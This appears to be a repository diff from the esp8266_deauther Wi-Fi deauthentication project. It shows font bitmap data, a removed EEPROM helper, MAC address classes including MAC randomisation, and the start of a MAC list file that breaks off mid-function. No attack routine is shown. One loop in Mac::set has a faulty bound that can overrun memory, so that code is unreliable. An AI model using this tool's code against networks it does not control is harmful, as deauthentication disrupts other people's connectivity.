0x00, 0x00, 0x00, 0x0C, 0xC0, 0x03, 0x38, 0x02, 0x38, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 65
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 66
0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x10, 0x04, // 67
0x00, 0x00, 0xF8, 0x0F, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x10, 0x04, 0xE0, 0x03, // 68
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, // 69
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, // 70
0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x08, 0x08, 0x08, 0x88, 0x08, 0x90, 0x07, // 71
0x00, 0x00, 0xF8, 0x0F, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0xF8, 0x0F, // 72
0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x0F, 0x08, 0x08, 0x08, 0x08, // 73
0x00, 0x00, 0x00, 0x04, 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x07, // 74
0x00, 0x00, 0xF8, 0x0F, 0x80, 0x00, 0xC0, 0x00, 0x20, 0x03, 0x10, 0x06, 0x08, 0x08, // 75
0x00, 0x00, 0xF8, 0x0F, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, // 76
0x00, 0x00, 0xF8, 0x0F, 0x30, 0x00, 0xC0, 0x01, 0xC0, 0x01, 0x30, 0x00, 0xF8, 0x0F, // 77
0x00, 0x00, 0xF8, 0x0F, 0x18, 0x00, 0xE0, 0x00, 0x80, 0x03, 0x00, 0x0C, 0xF8, 0x0F, // 78
0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 79
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x70, // 80
0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x18, 0x3C, 0xE0, 0x07, // 81
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x01, 0x70, 0x06, // 82
0x00, 0x00, 0x70, 0x04, 0xC8, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x10, 0x07, // 83
0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0xF8, 0x0F, 0x08, 0x00, 0x08, 0x00, 0x08, // 84
0x00, 0x00, 0xF8, 0x07, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xF8, 0x07, // 85
0x00, 0x00, 0x18, 0x00, 0xE0, 0x01, 0x00, 0x0E, 0x00, 0x0E, 0xE0, 0x01, 0x18, // 86
0xF8, 0x01, 0x00, 0x0E, 0xC0, 0x03, 0x30, 0x00, 0xC0, 0x03, 0x00, 0x0E, 0xF8, 0x01, // 87
0x00, 0x00, 0x08, 0x08, 0x30, 0x06, 0xC0, 0x01, 0xC0, 0x01, 0x30, 0x06, 0x08, 0x08, // 88
0x08, 0x00, 0x10, 0x00, 0x60, 0x00, 0x80, 0x0F, 0x60, 0x00, 0x10, 0x00, 0x08, // 89
0x00, 0x00, 0x08, 0x0C, 0x08, 0x0E, 0x88, 0x09, 0xC8, 0x08, 0x38, 0x08, 0x18, 0x08, // 90
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0x1F, 0x04, 0x10, // 91
0x00, 0x00, 0x08, 0x00, 0x30, 0x00, 0xC0, 0x00, 0x00, 0x03, 0x00, 0x0C, 0x00, 0x10, // 92
0x00, 0x00, 0x00, 0x00, 0x04, 0x10, 0xFC, 0x1F, // 93
0x20, 0x00, 0x10, 0x00, 0x08, 0x00, 0x08, 0x00, 0x10, 0x00, 0x20, // 94
0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, // 95
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x08, // 96
0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x20, 0x09, 0x20, 0x09, 0xC0, 0x0F, // 97
0x00, 0x00, 0xFC, 0x0F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 98
0x00, 0x00, 0xC0, 0x07, 0x60, 0x0C, 0x20, 0x08, 0x20, 0x08, 0x40, 0x08, // 99
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xFC, 0x0F, // 100
0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x20, 0x09, 0x20, 0x09, 0xC0, 0x05, // 101
0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0xF8, 0x0F, 0x24, 0x00, 0x24, // 102
0x00, 0x00, 0xC0, 0x07, 0x20, 0x28, 0x20, 0x48, 0x20, 0x48, 0xE0, 0x3F, // 103
0x00, 0x00, 0xFC, 0x0F, 0x40, 0x00, 0x20, 0x00, 0x20, 0x00, 0xC0, 0x0F, // 104
0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE4, 0x0F, 0x00, 0x08, 0x00, 0x08, // 105
0x00, 0x00, 0x00, 0x00, 0x20, 0x40, 0x20, 0x40, 0xE4, 0x3F, // 106
0x00, 0x00, 0xFC, 0x0F, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, 0x20, 0x08, // 107
0x00, 0x00, 0x04, 0x00, 0x04, 0x00, 0xFC, 0x07, 0x00, 0x08, 0x00, 0x08, // 108
0x00, 0x00, 0xE0, 0x0F, 0x20, 0x00, 0xE0, 0x0F, 0x20, 0x00, 0xE0, 0x0F, // 109
0x00, 0x00, 0xE0, 0x0F, 0x40, 0x00, 0x20, 0x00, 0x20, 0x00, 0xC0, 0x0F, // 110
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 111
0x00, 0x00, 0xE0, 0x7F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 112
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xE0, 0x7F, // 113
0x00, 0x00, 0x00, 0x00, 0xE0, 0x0F, 0x60, 0x00, 0x20, 0x00, 0x20, 0x00, 0x40, // 114
0x00, 0x00, 0xC0, 0x04, 0x20, 0x09, 0x20, 0x09, 0x20, 0x09, 0x40, 0x06, // 115
0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0xF8, 0x0F, 0x20, 0x08, 0x20, 0x08, // 116
0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xE0, 0x0F, // 117
0x00, 0x00, 0x60, 0x00, 0x80, 0x03, 0x00, 0x0C, 0x80, 0x03, 0x60, // 118
0x60, 0x00, 0x80, 0x03, 0x00, 0x0E, 0x80, 0x01, 0x00, 0x0E, 0x80, 0x03, 0x60, // 119
0x00, 0x00, 0x20, 0x08, 0xC0, 0x06, 0x00, 0x01, 0xC0, 0x06, 0x20, 0x08, // 120
0x00, 0x00, 0x60, 0x40, 0x80, 0x67, 0x00, 0x1C, 0x80, 0x03, 0x60, // 121
0x00, 0x00, 0x20, 0x0C, 0x20, 0x0A, 0x20, 0x09, 0xA0, 0x08, 0x60, 0x08, // 122
0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x7C, 0x1F, 0x04, 0x10, 0x04, 0x10, // 123
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0x3F, // 124
0x00, 0x00, 0x04, 0x10, 0x04, 0x10, 0x7C, 0x1F, 0x80, 0x00, 0x80, // 125
0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 126
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 127
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 128
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 129
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 130
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 131
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 132
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 133
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 134
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 135
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 136
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 137
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 138
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 139
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 140
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 141
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 142
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 143
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 144
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 145
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 146
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 147
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 148
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 149
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 150
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 151
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 152
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 153
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 154
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 155
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 156
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 157
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 158
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 159
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x3F, // 161
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0xF8, 0x3F, 0x20, 0x08, 0x40, 0x04, // 162
0x00, 0x00, 0x80, 0x08, 0xF0, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x08, 0x08, // 163
0x00, 0x00, 0x20, 0x04, 0xC0, 0x03, 0x40, 0x02, 0x40, 0x02, 0xC0, 0x03, 0x20, 0x04, // 164
0x08, 0x00, 0x50, 0x01, 0x60, 0x01, 0x80, 0x0F, 0x60, 0x01, 0x50, 0x01, 0x08, // 165
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x3C, // 166
0x00, 0x00, 0xF0, 0x11, 0x28, 0x13, 0x48, 0x12, 0xC8, 0x14, 0x88, 0x0F, // 167
0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08, // 168
0xC0, 0x01, 0x20, 0x02, 0xD0, 0x05, 0x50, 0x05, 0x50, 0x05, 0x20, 0x02, 0xC0, 0x01, // 169
0x00, 0x00, 0xE8, 0x02, 0xA8, 0x02, 0xA8, 0x02, 0xF0, 0x02, // 170
0x00, 0x00, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, // 171
0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x03, // 172
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 173
0xC0, 0x01, 0x20, 0x02, 0xD0, 0x05, 0xD0, 0x05, 0xD0, 0x05, 0x20, 0x02, 0xC0, 0x01, // 174
0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, // 175
0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x48, 0x00, 0x48, 0x00, 0x30, // 176
0x80, 0x08, 0x80, 0x08, 0x80, 0x08, 0xE0, 0x0B, 0x80, 0x08, 0x80, 0x08, 0x80, 0x08, // 177
0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xE8, 0x00, 0xB8, // 178
0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xA8, 0x00, 0xA8, 0x00, 0xD8, // 179
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x04, // 180
0x00, 0x00, 0xE0, 0x7F, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xE0, 0x0F, 0x00, 0x08, // 181
0x00, 0x00, 0x70, 0x00, 0xF8, 0x00, 0xF8, 0x00, 0xF8, 0x1F, 0x08, 0x00, 0xF8, 0x1F, // 182
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x01, // 183
0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0x30, // 184
0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xF8, 0x00, 0x80, // 185
0x00, 0x00, 0x70, 0x02, 0x88, 0x02, 0x88, 0x02, 0x70, 0x02, // 186
0x00, 0x00, 0x40, 0x04, 0x80, 0x02, 0x00, 0x01, 0x40, 0x04, 0x80, 0x02, 0x00, 0x01, // 187
0x44, 0x02, 0x7C, 0x03, 0x40, 0x01, 0x00, 0x0D, 0x80, 0x0B, 0x80, 0x1F, 0x00, 0x08, // 188
0x44, 0x02, 0x7C, 0x03, 0x40, 0x01, 0x00, 0x11, 0x80, 0x1D, 0x80, 0x17, // 189
0x00, 0x02, 0x44, 0x03, 0x54, 0x01, 0x54, 0x0D, 0xEC, 0x0B, 0x80, 0x1F, 0x00, 0x08, // 190
0x00, 0x38, 0x00, 0x4C, 0x00, 0x44, 0x60, 0x43, 0x00, 0x20, // 191
0x00, 0x00, 0x00, 0x0C, 0xC1, 0x03, 0x3A, 0x02, 0x38, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 192
0x00, 0x00, 0x00, 0x0C, 0xC0, 0x03, 0x3A, 0x02, 0x39, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 193
0x00, 0x00, 0x00, 0x0C, 0xC2, 0x03, 0x39, 0x02, 0x39, 0x02, 0xC2, 0x03, 0x00, 0x0C, // 194
0x00, 0x00, 0x00, 0x0C, 0xC3, 0x03, 0x39, 0x02, 0x3A, 0x02, 0xC3, 0x03, 0x00, 0x0C, // 195
0x00, 0x00, 0x00, 0x0C, 0xC2, 0x03, 0x38, 0x02, 0x38, 0x02, 0xC2, 0x03, 0x00, 0x0C, // 196
0x00, 0x00, 0x00, 0x08, 0x00, 0x07, 0xFE, 0x02, 0xE6, 0x02, 0x00, 0x07, 0x00, 0x08, // 197
0x00, 0x0C, 0x80, 0x03, 0x78, 0x02, 0x08, 0x02, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, // 198
0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x28, 0x08, 0x28, 0x08, 0x38, 0x10, 0x04, // 199
0x00, 0x00, 0xF8, 0x0F, 0x89, 0x08, 0x8A, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, // 200
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x8A, 0x08, 0x89, 0x08, 0x88, 0x08, 0x88, 0x08, // 201
0x00, 0x00, 0xF8, 0x0F, 0x8A, 0x08, 0x89, 0x08, 0x89, 0x08, 0x8A, 0x08, 0x88, 0x08, // 202
0x00, 0x00, 0xF8, 0x0F, 0x8A, 0x08, 0x88, 0x08, 0x8A, 0x08, 0x88, 0x08, 0x88, 0x08, // 203
0x00, 0x00, 0x08, 0x08, 0x09, 0x08, 0xFA, 0x0F, 0x08, 0x08, 0x08, 0x08, // 204
0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xFA, 0x0F, 0x09, 0x08, 0x08, 0x08, // 205
0x00, 0x00, 0x08, 0x08, 0x0A, 0x08, 0xF9, 0x0F, 0x0A, 0x08, 0x08, 0x08, // 206
0x00, 0x00, 0x08, 0x08, 0x0A, 0x08, 0xF8, 0x0F, 0x0A, 0x08, 0x08, 0x08, // 207
0x80, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x08, 0x08, 0x10, 0x04, 0xE0, 0x03, // 208
0x00, 0x00, 0xF8, 0x0F, 0x1B, 0x00, 0xE1, 0x00, 0x82, 0x03, 0x03, 0x0C, 0xF8, 0x0F, // 209
0x00, 0x00, 0xE0, 0x03, 0x19, 0x0C, 0x0A, 0x08, 0x08, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 210
0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x0A, 0x08, 0x09, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 211
0x00, 0x00, 0xE0, 0x03, 0x1A, 0x0C, 0x09, 0x08, 0x09, 0x08, 0x1A, 0x0C, 0xE0, 0x03, // 212
0x00, 0x00, 0xE0, 0x03, 0x1B, 0x0C, 0x09, 0x08, 0x0A, 0x08, 0x1B, 0x0C, 0xE0, 0x03, // 213
0x00, 0x00, 0xE0, 0x03, 0x1A, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x1A, 0x0C, 0xE0, 0x03, // 214
0x00, 0x00, 0x20, 0x02, 0x40, 0x01, 0x80, 0x00, 0x40, 0x01, 0x20, 0x02, // 215
0x00, 0x08, 0xE0, 0x07, 0x18, 0x0E, 0x88, 0x09, 0x48, 0x08, 0x38, 0x0C, 0xF8, 0x03, // 216
0x00, 0x00, 0xF8, 0x07, 0x01, 0x08, 0x02, 0x08, 0x00, 0x08, 0x00, 0x08, 0xF8, 0x07, // 217
0x00, 0x00, 0xF8, 0x07, 0x00, 0x08, 0x02, 0x08, 0x01, 0x08, 0x00, 0x08, 0xF8, 0x07, // 218
0x00, 0x00, 0xF8, 0x07, 0x02, 0x08, 0x01, 0x08, 0x01, 0x08, 0x02, 0x08, 0xF8, 0x07, // 219
0x00, 0x00, 0xF8, 0x07, 0x02, 0x08, 0x00, 0x08, 0x00, 0x08, 0x02, 0x08, 0xF8, 0x07, // 220
0x08, 0x00, 0x10, 0x00, 0x60, 0x00, 0x82, 0x0F, 0x61, 0x00, 0x10, 0x00, 0x08, // 221
0x00, 0x00, 0xF8, 0x0F, 0x10, 0x01, 0x10, 0x01, 0x10, 0x01, 0x10, 0x01, 0xE0, // 222
0x00, 0x00, 0xF8, 0x0F, 0xE4, 0x00, 0xA4, 0x09, 0x18, 0x09, 0x00, 0x06, // 223
0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x24, 0x09, 0x28, 0x09, 0xC0, 0x0F, // 224
0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x28, 0x09, 0x24, 0x09, 0xC0, 0x0F, // 225
0x00, 0x00, 0x40, 0x06, 0x28, 0x09, 0x24, 0x09, 0x24, 0x09, 0xC8, 0x0F, // 226
0x00, 0x00, 0x40, 0x06, 0x2C, 0x09, 0x24, 0x09, 0x28, 0x09, 0xCC, 0x0F, // 227
0x00, 0x00, 0x40, 0x06, 0x28, 0x09, 0x20, 0x09, 0x28, 0x09, 0xC0, 0x0F, // 228
0x00, 0x00, 0x40, 0x06, 0x26, 0x09, 0x29, 0x09, 0x29, 0x09, 0xC6, 0x0F, // 229
0x00, 0x00, 0x40, 0x0F, 0x20, 0x09, 0xC0, 0x07, 0x20, 0x09, 0xE0, 0x09, // 230
0x00, 0x00, 0xC0, 0x07, 0x60, 0x0C, 0x20, 0x28, 0x20, 0x28, 0x40, 0x38, // 231
0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x24, 0x09, 0x28, 0x09, 0xC0, 0x05, // 232
0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x28, 0x09, 0x24, 0x09, 0xC0, 0x05, // 233
0x00, 0x00, 0xC0, 0x07, 0x68, 0x09, 0x24, 0x09, 0x24, 0x09, 0xC8, 0x05, // 234
0x00, 0x00, 0xC0, 0x07, 0x68, 0x09, 0x20, 0x09, 0x28, 0x09, 0xC0, 0x05, // 235
0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE4, 0x0F, 0x08, 0x08, 0x00, 0x08, // 236
0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE8, 0x0F, 0x04, 0x08, 0x00, 0x08, // 237
0x00, 0x00, 0x28, 0x08, 0x24, 0x08, 0xE4, 0x0F, 0x08, 0x08, 0x00, 0x08, // 238
0x00, 0x00, 0x20, 0x08, 0x28, 0x08, 0xE0, 0x0F, 0x08, 0x08, 0x00, 0x08, // 239
0x00, 0x00, 0x80, 0x07, 0x54, 0x08, 0x58, 0x08, 0x68, 0x08, 0xC0, 0x07, // 240
0x00, 0x00, 0xE0, 0x0F, 0x4C, 0x00, 0x24, 0x00, 0x28, 0x00, 0xCC, 0x0F, // 241
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x24, 0x08, 0x28, 0x08, 0xC0, 0x07, // 242
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x28, 0x08, 0x24, 0x08, 0xC0, 0x07, // 243
0x00, 0x00, 0xC0, 0x07, 0x28, 0x08, 0x24, 0x08, 0x28, 0x08, 0xC0, 0x07, // 244
0x00, 0x00, 0xCC, 0x07, 0x24, 0x08, 0x2C, 0x08, 0x28, 0x08, 0xCC, 0x07, // 245
0x00, 0x00, 0xC0, 0x07, 0x28, 0x08, 0x20, 0x08, 0x28, 0x08, 0xC0, 0x07, // 246
0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x40, 0x05, 0x00, 0x01, 0x00, 0x01, // 247
0x00, 0x00, 0xC0, 0x0F, 0x20, 0x0A, 0x20, 0x09, 0xA0, 0x08, 0xE0, 0x07, // 248
0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x04, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 249
0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x08, 0x08, 0x04, 0x08, 0xE0, 0x0F, // 250
0x00, 0x00, 0xE0, 0x07, 0x08, 0x08, 0x04, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 251
0x00, 0x00, 0xE0, 0x07, 0x08, 0x08, 0x00, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 252
0x00, 0x00, 0x60, 0x40, 0x80, 0x67, 0x08, 0x1C, 0x84, 0x03, 0x60, // 253
0x00, 0x00, 0xFC, 0x7F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 254
0x00, 0x00, 0x60, 0x40, 0x88, 0x67, 0x00, 0x1C, 0x88, 0x03, 0x60 // 255
};

View File

@ -1,62 +0,0 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
// ========== Includes ========== //
#include <EEPROM.h>
// ========== Boot Counter Structure ========== //
// Used for memory verificaiton
#define BOOT_MAGIC_NUM 1234567890
typedef struct boot {
unsigned int magic_num : 32;
unsigned int boot_num : 8;
} boot;
// ========== EEPROM Helper Class ========== //
class EEPROMHelper {
public:
static void begin(const int eepromSize) {
EEPROM.begin(eepromSize);
}
static void end() {
EEPROM.end();
}
template<typename T>
static void saveObject(const int address, const T& t) {
EEPROM.put(address, t);
EEPROM.commit();
}
template<typename T>
static void getObject(const int address, const T& t) {
EEPROM.get(address, t);
}
static bool checkBootNum(const int address) {
boot b;
EEPROM.get(address, b);
if ((b.magic_num == BOOT_MAGIC_NUM) && (b.boot_num < 3)) {
saveObject(address, boot{ BOOT_MAGIC_NUM, ++b.boot_num });
return true;
}
return false;
}
static void resetBootNum(const int address) {
saveObject(address, boot{ BOOT_MAGIC_NUM, 1 });
}
static void format(unsigned long size) {
for (unsigned long i = 0; i<size; i++) EEPROM.write(i, 0x00);
EEPROM.commit();
}
};

82
esp8266_deauther/Mac.cpp Normal file
View File

@ -0,0 +1,82 @@
#include "Mac.h"
Mac::Mac() {
for (int i = 0; i < 6; i++) {
adress[i] = 0x00;
}
}
void Mac::set(uint8_t first, uint8_t second, uint8_t third, uint8_t fourth, uint8_t fifth, uint8_t sixth) {
adress[0] = first;
adress[1] = second;
adress[2] = third;
adress[3] = fourth;
adress[4] = fifth;
adress[5] = sixth;
}
void Mac::set(uint8_t* mac) {
for(int i=0; i<6 || i<sizeof(mac); i++){
adress[i] = mac[i];
}
}
void Mac::set(Mac adr) {
for (int i = 0; i < 6; i++) {
adress[i] = adr._get(i);
}
}
void Mac::setAt(uint8_t first, int num) {
if (num > -1 && num < 6) adress[num] = first;
}
bool Mac::valid() {
for (int i = 0; i < 6; i++) {
if (adress[i] != 0xFF && adress[i] != 0x00) return true;
}
return false;
}
String Mac::toString() {
String value = "";
for (int i = 0; i < 6; i++) {
if (adress[i] < 0x10) {
value += "0";
}
value += String(adress[i], HEX);
if (i < 5) value += ":";
}
return value;
}
void Mac::_print() {
Serial.print(Mac::toString());
}
void Mac::_println() {
Serial.println(Mac::toString());
}
uint8_t* Mac::_get() {
return adress;
}
uint8_t Mac::_get(int num) {
return adress[num];
}
bool Mac::compare(Mac target) {
for (int i = 0; i < 6; i++) {
if (adress[i] != target._get(i)) return false;
}
return true;
}
void Mac::randomize() {
uint8_t randomMac[6];
getRandomVendorMac(randomMac);
this->set(randomMac);
}

28
esp8266_deauther/Mac.h Normal file
View File

@ -0,0 +1,28 @@
#ifndef Mac_h
#define Mac_h
#include <Arduino.h>
extern void getRandomVendorMac(uint8_t *buf);
class Mac
{
public:
Mac();
void set(uint8_t first, uint8_t second, uint8_t third, uint8_t fourth, uint8_t fifth, uint8_t sixth);
void set(uint8_t* mac);
void set(Mac adr);
void setAt(uint8_t first, int num);
String toString();
void _print();
void _println();
uint8_t* _get();
uint8_t _get(int num);
bool compare(Mac target);
bool valid();
void randomize();
private:
uint8_t adress[6];
};
#endif

View File

@ -0,0 +1,63 @@
#include "MacList.h"
MacList::MacList() {
}
bool MacList::contains(Mac adr) {
for (int i = 0; i < num; i++) {
if (macAdrs[i].compare(adr)) return true;
}
return false;
}
int MacList::add(Mac adr) {
if(num < len && adr.valid()) {
if (!contains(adr)) {
macAdrs[num].set(adr);
num++;
return num - 1;
}
}
return -1;
}
Mac MacList::_get(int i) {
return macAdrs[i];
}
int MacList::getNum(Mac adr) {
for (int i = 0; i < num; i++) {
